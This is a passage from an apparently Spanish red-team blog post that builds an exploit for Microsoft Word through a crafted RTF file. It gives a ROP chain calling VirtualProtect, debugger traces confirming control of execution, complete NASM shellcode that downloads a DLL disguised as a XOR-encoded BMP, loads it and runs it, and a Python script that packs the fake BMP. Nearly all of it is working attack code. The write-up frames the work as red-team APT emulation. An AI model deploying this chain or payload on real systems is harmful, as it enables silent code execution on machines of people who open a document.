  17. 72a4d300 00000000 00000000 00000000 00000000
  18. 72a4d310 00000000 00000000 00000000 00000000
  19. 72a4d320 00000000 00000000 00000000 00000000
  20. 72a4d330 00000000 00000000 00000000 00000000
  21. 72a4d340 00000000 00000000 00000000 00000000
  22. 72a4d350 00000000 00000000 00000000 00000000
  23. 72a4d360 00000000 00000000 00000000 00000000
  24. 72a4d370 00000000 00000000 00000000 00000000
  25. 72a4d380 00000000 00000000 00000000 00000000
  26. 72a4d390 00000000 00000000 00000000 00000000
  27. 72a4d3a0 00000000 00000000 00000000 00000000
  28. 72a4d3b0 00000000 00000000 00000000 00000000
  29. []

Buscamos una zona en la que no parezca haber datos anteriores. Escogemos una dirección cualquiera, 0x72a4d300. Al finalizar la shellcode volveremos a guardar el valor 0 aquí.

Por tanto, nuestra cadena quedaría:

  1. heap = 0x0f8f4820
  2. pivot = 0x7297d564
  3. pop_eax = 0x729440cb
  4. jmp_ptr_eax = 0x7295088f
  5. ptr_virtualprotect = 0x729410d0
  6. virtualprotect_size = 0x200
  7. virtualprotect_prot = 0x40
  8. virtualprotect_oldprot = 0x72a4d300
  9. shellcode_address = heap + (padsize – 8) + 48
  10. shellcode = “\xcc”
  11. rop = [
  12. p(heap), # @0
  13. p(pivot), # @4
  14. “a” * (padsize – 8), # @8
  15. p(pop_eax), # @ 8 + padsize
  16. “a” * 8, # @ 12 + padsize ; compensamos ret 8
  17. p(ptr_virtualprotect), # @ 20 + padsize
  18. p(jmp_ptr_eax), # @ 24 + padsize
  19. p(shellcode_address), # @ 28 + padsize ; retorno de VirtualProtect
  20. p(shellcode_address), # @ 32 + padsize ; address
  21. p(virtualprotect_size), # @ 36 + padsize ; size
  22. p(virtualprotect_prot), # @ 40 + padsize ; new prot
  23. p(virtualprotect_oldprot),# @ 44 + padsize ; & old prot
  24. shellcode # @ 48 + padsize
  25. ]

Si todo va bien, al generar el archivo RTF y abrirlo con Word, WinDbg debería parar en el “int 3” que hemos utilizado como shellcode.

  1. 0:015> bu 0x7297d564
  2. (ecc.3d4): Unknown exception – code e0000002 (first chance)
  3. Breakpoint 0 hit
  4. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll –
  5. eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  6. eip=7297d564 esp=00644bd4 ebp=00644c48 iopl=0 nv up ei pl nz na po nc
  7. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  8. msvbvm60!IID_IVbaHost+0xef24:
  9. 7297d564 10e8 adc al,ch
  10. 0:000> p
  11. eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  12. eip=7297d566 esp=00644bd4 ebp=00644c48 iopl=0 nv up ei pl nz na po nc
  13. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  14. msvbvm60!IID_IVbaHost+0xef26:
  15. 7297d566 59 pop ecx
  16. 0:000>
  17. eax=0f8f4868 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  18. eip=7297d567 esp=00644bd8 ebp=00644c48 iopl=0 nv up ei pl nz na po nc
  19. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  20. msvbvm60!IID_IVbaHost+0xef27:
  21. 7297d567 94 xchg eax,esp
  22. 0:000>
  23. eax=00644bd8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  24. eip=7297d568 esp=0f8f4868 ebp=00644c48 iopl=0 nv up ei pl nz na po nc
  25. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  26. msvbvm60!IID_IVbaHost+0xef28:
  27. 7297d568 0200 add al,byte ptr [eax] ds:002b:00644bd8=20
  28. 0:000>
  29. eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  30. eip=7297d56a esp=0f8f4868 ebp=00644c48 iopl=0 nv up ei ng nz na po nc
  31. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282
  32. msvbvm60!IID_IVbaHost+0xef2a:
  33. 7297d56a c20800 ret 8
  34. 0:000>
  35. eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  36. eip=729440cb esp=0f8f4874 ebp=00644c48 iopl=0 nv up ei ng nz na po nc
  37. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282
  38. msvbvm60!ThunRTMain+0xb27:
  39. 729440cb 58 pop eax
  40. 0:000>
  41. eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  42. eip=729440cc esp=0f8f4878 ebp=00644c48 iopl=0 nv up ei ng nz na po nc
  43. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282
  44. msvbvm60!ThunRTMain+0xb28:
  45. 729440cc c3 ret
  46. 0:000>
  47. eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
  48. eip=7295088f esp=0f8f487c ebp=00644c48 iopl=0 nv up ei ng nz na po nc
  49. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282
  50. msvbvm60!Zombie_Release+0x1e36:
  51. 7295088f ff20 jmp dword ptr [eax] ds:002b:729410d0={kernel32!VirtualProtectStub (75e342ff)}
  52. 0:000> dd esp
  53. 0f8f487c 0f8f4890 0f8f4890 00000200 00000040
  54. 0f8f488c 72a4d300 729440cc 088883ec 729440cb
  55. 0f8f489c 088883ec 729440cb 088883ec 729440cb
  56. 0f8f48ac 088883ec 729440cb 088883ec 729440cb
  57. 0f8f48bc 088883ec 729440cb 088883ec 729440cb
  58. 0f8f48cc 088883ec 729440cb 088883ec 729440cb
  59. 0f8f48dc 088883ec 729440cb 088883ec 729440cb
  60. 0f8f48ec 088883ec 729440cb 088883ec 729440cb
  61. 0:000> u 0f8f4890
  62. 0f8f4890 cc int 3
  63. 0f8f4891 40 inc eax
  64. 0f8f4892 94 xchg eax,esp
  65. 0f8f4893 72ec jb 0f8f4881
  66. 0f8f4895 838808cb409472 or dword ptr [eax-6BBF34F8h],72h
  67. 0f8f489c ec in al,dx
  68. 0f8f489d 838808cb409472 or dword ptr [eax-6BBF34F8h],72h
  69. 0f8f48a4 ec in al,dx
  70. 0:000> g
  71. (ecc.3d4): Break instruction exception – code 80000003 (first chance)
  72. eax=00000001 ebx=00000000 ecx=f1290000 edx=003fe188 esi=0a45f4d0 edi=0a47cde4
  73. eip=0f8f4890 esp=0f8f4890 ebp=00644c48 iopl=0 nv up ei pl nz na po nc
  74. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  75. 0f8f4890 cc int 3

Sólo nos queda escribir una shellcode. ASM es bonito, pero es preferible escribir en C, así que la shellcode sencillita que utilizaremos hará lo siguiente:

  • Descargar una DLL de internet
  • Cargar la DLL mediante LoadLibrary

Sin embargo, descargar una DLL es algo que puede llamar bastante la atención, por lo que vamos a camuflar un poco haciéndolo pasar por un BMP de una manera muy naiv: el archivo que descargaremos contendrá 58 bytes de una cabecera BMP seguidos del contenido de la DLL xor’eada con un valor fijo. En pseudoCódigo:

  1. char url[] = “https://127.0.0.1:8000/asd.bmp”;
  2. char download_path[256] = { 0 };
  3. HANDLE hnd, lib;
  4. DWORD filesize, nbytes;
  5. DWORD tmp;
  6. char *dll, *bmp;
  7. int (*pwn)(void);
  8. URLDownloadToCacheFileA(NULL, url, download_path, 255, 0, NULL);
  9. hnd = CreateFileA(
  10. download_path,
  11. GENERIC_READ | GENERIC_WRITE,
  12. FILE_SHARED_READ,
  13. 0,
  14. OPEN_EXISTING,
  15. FILE_ATTRIBUTE_NORMAL,
  16. NULL
  17. );
  18. filesize = GetFileSize(hnd, NULL);
  19. bmp = VirtualAlloc(NULL, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  20. ReadFile(hnd, bmp, filesize, &nbytes, NULL);
  21. dll = bmp + 58;
  22. for(unsigned int i = 0; i < filesize; i += 4) {
  23. tmp = * ((DWORD *) &dll[i]);
  24. tmp ^= 0x1337c0de
  25. }
  26. SetFilePointer(hnd, 0, 0, FILE_BEGIN);
  27. WriteFile(hnd, dll, filesize – 58, &nbytes, NULL);
  28. SetEndOfFile(hnd);
  29. CloseHandle(hnd);
  30. lib = LoadLibraryA(download_path);
  31. pwn = GetProcAddress(lib, “doit”);
  32. pwn();

Utilizaremos NASM para traducir esto a ASM. Lo primero que necesitamos es una manera de localizar funciones de la WinApi. Esto es un tema resuelto hace mucho tiempo, y para el que hay implementaciones públicas. Utilizaremos la de Metasploit.

Nuestra shellcode comenzará definiendo todas las constantes que necesitamos. Escribimos en pwn.asm:

  1. BITS 32
  2. ORG 0
  3. MEM_COMMIT: equ 0x00001000
  4. MEM_RESERVE: equ 0x00002000
  5. PAGE_EXECUTE: equ 0x10
  6. PAGE_EXECUTE_READ: equ 0x20
  7. PAGE_EXECUTE_READWRITE: equ 0x40
  8. PAGE_READWRITE: equ 0x04
  9. GENERIC_READ: equ 0x80000000
  10. GENERIC_WRITE: equ 0x40000000
  11. FILE_SHARE_READ: equ 0x01
  12. OPEN_EXISTING: equ 0x03
  13. FILE_ATTRIBUTE_NORMAL: equ 0x80
  14. FILE_BEGIN: equ 0x00

El código de metasploit es sencillo de utilizar. Para llamar a una función de la WinApi, usualmente se hace lo siguiente:

  1. push arg_N
  2. push arg_N-1
  3. push arg_1
  4. push arg_0
  5. call winapi

Con la shellcode de MSF, se añade un parámetro adicional, un hash simple del nombre de la librería y la función que se quiere llamar. La shellcode recorrerá la lista de módulos disponibles en el proceso, calculando el hash del módulo y todas sus funciones, una a una, hasta dar con una que coincida. Por tanto:

  1. push arg_N
  2. push arg_N-1
  3. push arg_1
  4. push arg_0
  5. push HASH
  6. call msf_api

Definamos entonces los hashes de las funciones que queremos utilizar. El código para calcular estos hashes se extrajo de aquí.

  1. import sys
  2. def ror( dword, bits ):
  3. return ( dword >> bits | dword << ( 32 – bits ) ) & 0xFFFFFFFF
  4. #=============================================================================#
  5. def unicode( string, uppercase=True ):
  6. result = “”;
  7. if uppercase:
  8. string = string.upper()
  9. for c in string:
  10. result += c + “\x00”
  11. return result
  12. #=============================================================================#
  13. def hash( module, function, bits=13, print_hash=True ):
  14. module_hash = 0
  15. function_hash = 0
  16. for c in unicode( module + “\x00” ):
  17. module_hash = ror( module_hash, bits )
  18. module_hash += ord( c )
  19. for c in str( function + “\x00” ):
  20. function_hash = ror( function_hash, bits )
  21. function_hash += ord( c )
  22. h = module_hash + function_hash & 0xFFFFFFFF
  23. if print_hash:
  24. print “[+] 0x%08X = %s!%s” % ( h, module.lower(), function )
  25. return h
  26. if __name__ == ‘__main__’:
  27. for x in sys.argv[1:]:
  28. module, function = x.split(“:”, 2)
  29. print module, function, hex(hash(module, function, print_hash=False))

Añadimos las definiciones a pwn.asm:

  1. VIRTUALALLOC_HASH: equ 0xe553a458
  2. VIRTUALPROTECT_HASH: equ 0xc38ae11
  3. URLDOWNLOADTOCACHEFILE_HASH equ 0xdac0c98f
  4. GETFILESIZE_HASH: equ 0x701e12c6
  5. CREATEFILE_HASH: equ 0x4fdaf6da
  6. READFILE_HASH: equ 0xbb5f9ead
  7. WRITEFILE_HASH: equ 0x5bae572d
  8. SETFILEPOINTER_HASH: equ 0xd812cdaa
  9. SETENDOFFILE_HASH: equ 0xd7e3cbdb
  10. CLOSEHANDLE_HASH: equ 0x528796c6
  11. LOADLIBRARY_HASH: equ 0x726774c
  12. GETPROCADDRESS_HASH: equ 0x7802f749
  13. DELETEFILE_HASH: equ 0x13dd2ed7
  14. EXITPROCESS_HASH: equ 0x56a2b5f0

Y definamos una estructura en la que guardaremos nuestras variables:

  1. STRUC mydata
  2. .api_call: resd 1 ; guardaremos la dirección de la función de MSF
  3. .filehandle: resd 1 ; HANDLE del archivo devuelto por CreateFileA
  4. .filebuf: resd 1 ; puntero devuelto por VirtualAlloc
  5. .filesize: resd 1 ; tamaño devuelto por GetFileSize
  6. .nbytes: resd 1 ; escrito por ReadFile y WriteFile
  7. .url: resb 256 ; URL desde la que descargaremos el BMP
  8. .down_filename: resb 256 ; URLDownloadToCacheFileA escribirá aquí la ruta donde guardó el archivo
  9. .apiname: resb 64 ; la cadena “doit” usada en GetProcAddress
  10. ENDSTRUC

Y comenzamos a escribir el código:

  1. cld
  2. call start
  3. %include “block_api.asm” ;
  4. start:
  5. pop ebp ; ebp -> api MSF
  6. ; reservamos espacio para mydata
  7. push dword PAGE_READWRITE
  8. push dword (MEM_COMMIT | MEM_RESERVE)
  9. push mydata_size
  10. push 0
  11. push VIRTUALALLOC_HASH
  12. call ebp
  13. ; guardamos la dirección de la api de MSF y utilizamos ebp como puntero a mydata
  14. mov dword [eax + mydata.api_call], ebp
  15. mov ebp, eax
  16. ; url = “https://127.0.0.1:8000/asd.bmp”
  17. mov dword [ebp + mydata.url], 0x70747468
  18. mov dword [ebp + mydata.url + 4], 0x312f2f3a
  19. mov dword [ebp + mydata.url + 8], 0x302e3732
  20. mov dword [ebp + mydata.url + 12], 0x312e302e
  21. mov dword [ebp + mydata.url + 16], 0x3030383a
  22. mov dword [ebp + mydata.url + 20], 0x73612f30
  23. mov dword [ebp + mydata.url + 24], 0x6d622e64
  24. mov dword [ebp + mydata.url + 28], 0x00000070
  25. ; apiname = “doit”
  26. mov dword [ebp + mydata.apiname], 0x74696f64
  27. mov dword [ebp + mydata.apiname + 4], 0x00000000
  28. ; UrlDownloadToCacheFileA(mydata.url, mydata.url_filename, 254, 0, NULL);
  29. push 0 ; pBSC
  30. push 0 ; dwReserved
  31. push 254 ; cchFileName
  32. lea eax, [ebp + mydata.down_filename]
  33. push eax ; szFileName
  34. lea eax, [ebp + mydata.url]
  35. push eax ; szUrl
  36. push 0 ; lpUnkCaller
  37. push URLDOWNLOADTOCACHEFILE_HASH
  38. call dword [ebp + mydata.api_call]
  39. ; mydata.filehandle = CreateFileA(
  40. ; mydata.url_filename,
  41. ; GENERIC_READ | GENERIC_WRITE,
  42. ; FILE_SHARED_READ,
  43. ; 0,
  44. ; OPEN_EXISTING,
  45. ; FILE_ATTRIBUTE_NORMAL,
  46. ; NULL
  47. ; )
  48. push dword 0 ; hTemplateFile
  49. push dword FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
  50. push dword OPEN_EXISTING ; dwCreationDisposition
  51. push dword 0 ; lpSecurityAttributes
  52. push dword FILE_SHARE_READ ; dwShareMode
  53. push dword (GENERIC_READ | GENERIC_WRITE) ; dwDesiredAccess
  54. lea eax, [ebp + mydata.down_filename]
  55. push eax
  56. push CREATEFILE_HASH
  57. call dword [ebp + mydata.api_call]
  58. mov dword [ebp + mydata.filehandle], eax
  59. ; mydata.filesize = GetFileSize(mydata.filehandle, NULL)
  60. push dword 0 ; lpFileSizeHigh
  61. push eax ; hFile
  62. push GETFILESIZE_HASH
  63. call dword [ebp + mydata.api_call]
  64. mov dword [ebp + mydata.filesize], eax
  65. ; mydata.filebuf = VirtualAlloc(
  66. ; NULL,
  67. ; mydata.filesize,
  68. ; MEM_COMMIT | MEM_RESERVE,
  69. ; PAGE_READWRITE
  70. ; );
  71. push dword PAGE_READWRITE
  72. push dword (MEM_COMMIT | MEM_RESERVE)
  73. push eax
  74. push 0
  75. push VIRTUALALLOC_HASH
  76. call dword [ebp + mydata.api_call]
  77. mov dword [ebp + mydata.filebuf], eax
  78. ; ReadFile(
  79. ; mydata.filehandle,
  80. ; mydata.filebuf,
  81. ; mydata.filesize,
  82. ; &mydata.nbytes,
  83. ; NULL
  84. ; )
  85. push dword 0 ; lpOverlapped
  86. lea ecx, [ebp + mydata.nbytes]
  87. push ecx ; lpNumberOfBytesRead
  88. mov ecx, dword [ebp + mydata.filesize]
  89. push ecx ; nNumberOfBytesToRead
  90. push eax ; lpBuffer
  91. mov eax, dword [ebp + mydata.filehandle]
  92. push eax ; hFile
  93. push READFILE_HASH
  94. call dword [ebp + mydata.api_call]
  95. ; dll = bmp + 58;
  96. ; for(unsigned int i = 0; i < filesize; i += 4) {
  97. ; tmp = * ((DWORD *) &dll[i]);
  98. ; tmp ^= 0x1337c0de
  99. ; }
  100. mov edi, dword [ebp + mydata.filebuf]
  101. add edi, 58
  102. mov ecx, dword [ebp + mydata.filesize]
  103. sub ecx, 58
  104. sar ecx, 2
  105. decode_loop:
  106. xor dword [edi], 0x1337c0de
  107. add edi, 4
  108. dec ecx
  109. jnz decode_loop
  110. ; SetFilePointer(mydata.filehandle, 0, 0, FILE_BEGIN)
  111. push dword FILE_BEGIN ; dwMoveMethod
  112. push dword 0 ; lpDistanceToMoveHigh
  113. push dword 0 ; lDistanceToMove
  114. mov eax, dword [ebp + mydata.filehandle]
  115. push eax
  116. push SETFILEPOINTER_HASH
  117. call dword [ebp + mydata.api_call]
  118. ; WriteFile(
  119. ; mydata.filehandle,
  120. ; mydata.filebuf + 58,
  121. ; mydata.filesize – 58,
  122. ; &mydata.nbytes,
  123. ; NULL
  124. ; )
  125. push dword 0 ; lpOverlapped
  126. lea eax, [ebp + mydata.nbytes]
  127. push eax ; lpNumberOfBytesWritten
  128. mov eax, dword [ebp + mydata.filesize]
  129. sub eax, 58
  130. push eax ; nNumberOfBytesToWrite
  131. mov eax, dword [ebp + mydata.filebuf]
  132. add eax, 58
  133. push eax ; lpBuffer
  134. mov eax, dword [ebp + mydata.filehandle]
  135. push eax ; hFile
  136. push WRITEFILE_HASH
  137. call dword [ebp + mydata.api_call]
  138. ; SetEndOfFile(mydata.filehandle)
  139. mov eax, dword [ebp + mydata.filehandle]
  140. push eax
  141. push SETENDOFFILE_HASH
  142. call dword [ebp + mydata.api_call]
  143. ; CloseHandle(mydata.filehandle)
  144. mov eax, dword [ebp + mydata.filehandle]
  145. push eax
  146. push CLOSEHANDLE_HASH
  147. call dword [ebp + mydata.api_call]
  148. ; eax = LoadLibraryA(mydata.down_filename)
  149. lea eax, [ebp + mydata.down_filename]
  150. push eax
  151. push LOADLIBRARY_HASH
  152. call dword [ebp + mydata.api_call]
  153. ; eax = GetProcAddress(eax, mydata.apiname)
  154. lea ebx, [ebp + mydata.apiname]
  155. push ebx
  156. push eax
  157. push GETPROCADDRESS_HASH
  158. call dword [ebp + mydata.api_call]
  159. ; eax()
  160. call eax
  161. ; ExitProcess()
  162. push 0
  163. push EXITPROCESS_HASH
  164. call dword [ebp + mydata.api_call]

Finalizaremos la shellcode con una llamada a ExitProcess(). Ensamblamos:

  1. $ nasm -o pwn.bin pwn.asm
  2. $ ls -la pwn.bin
  3. -rw-r–r– 1 i i 519 Nov 8 11:36 pwn.bin

Modificamos ligeramente el código que genera nuestro payload para que cargue la shellcode de este archivo:

  1. shellcode = open(“pwn.bin”, “rb”).read()

Creamos una DLL que nos muestre un mensaje:

  1. #include
  2. int __declspec(dllexport) doit()
  3. {
  4. HANDLE current_process;
  5. char modulepath[MAX_PATH] = { 0 };
  6. char *txt = NULL;
  7. current_process = GetModuleHandleA(NULL);
  8. if (NULL != current_process) {
  9. if (0 != GetModuleFileNameA((HMODULE)current_process, modulepath, MAX_PATH)) {
  10. txt = modulepath;
  11. }
  12. }
  13. if (NULL == txt) {
  14. txt = “”;
  15. }
  16. MessageBoxA(NULL, txt, “Hi from”, MB_OK);
  17. return 0;
  18. }
  19. BOOL APIENTRY DllMain( HMODULE hModule,
  20. DWORD ul_reason_for_call,
  21. LPVOID lpReserved
  22. )
  23. {
  24. switch (ul_reason_for_call)
  25. {
  26. case DLL_PROCESS_ATTACH:
  27. case DLL_THREAD_ATTACH:
  28. case DLL_THREAD_DETACH:
  29. case DLL_PROCESS_DETACH:
  30. break;
  31. }
  32. return TRUE;
  33. }

Creamos el falso BMP:

  1. import struct
  2. import sys
  3. k = struct.pack(“<L”, 0x1337c0de)
  4. key = bytearray(k)
  5. if __name__ == ‘__main__’:
  6. f = open(sys.argv[1], “rb”)
  7. b = bytearray(f.read())
  8. f.close()
  9. for i in range(len(b)):
  10. b[i] = b[i] ^ key[i % len(key)]
  11. f = open(sys.argv[2], “wb”)
  12. b = (“a” * 58) + b ; not a bmp huh?
  13. f.write(b)
  14. f.close()

Iniciamos un servidor HTTP en la carpeta donde tenemos asd.bmp:

  1. $ python -m SimpleHTTPServer 8000

Y abrimos el RTF con Word.

Pwned

Pwned

0x06 – Conclusión

Este tipo de ejercicios e investigaciones realizadas por parte del Red Team permiten comprobar si el nivel de las máquinas y las supuestas soluciones anti-APT desplegadas en nuestros clientes son realmente eficaces y están cumpliendo con su función. Adicionalmente, irrumpir en las redes corporativas a través de la explotación de una vulnerabilidad de estas características, emulando el comportamiento de un APT, permite entrenar a los equipos de respuesta ante incidentes.